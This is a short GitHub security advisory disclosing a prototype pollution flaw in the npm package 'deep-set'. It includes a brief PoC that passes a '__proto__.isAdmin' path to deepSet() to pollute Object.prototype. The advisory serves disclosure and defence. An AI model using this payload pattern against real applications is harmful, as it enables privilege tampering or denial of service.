GHSA-wgxm-rg53-h2c6
Prototype pollution vulnerability in 'deep-set'
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
The NPM module 'deep-set' can be abused by Prototype Pollution vulnerability since the function `deepSet()` does not check for the type of object before assigning value to the property. Due to this flaw an attacker could create a non-existent property or able to manipulate the property which leads to Denial of Service or potentially Remote code execution.
### PoC
```js
var deepSet = require('deep-set')
var obj = {'1':'2'}
console.log(obj.isAdmin);
deepSet(obj, '__proto__.isAdmin', 'true')
console.log(obj.isAdmin);
```
References
External links from the advisory. They lead to third-party sites.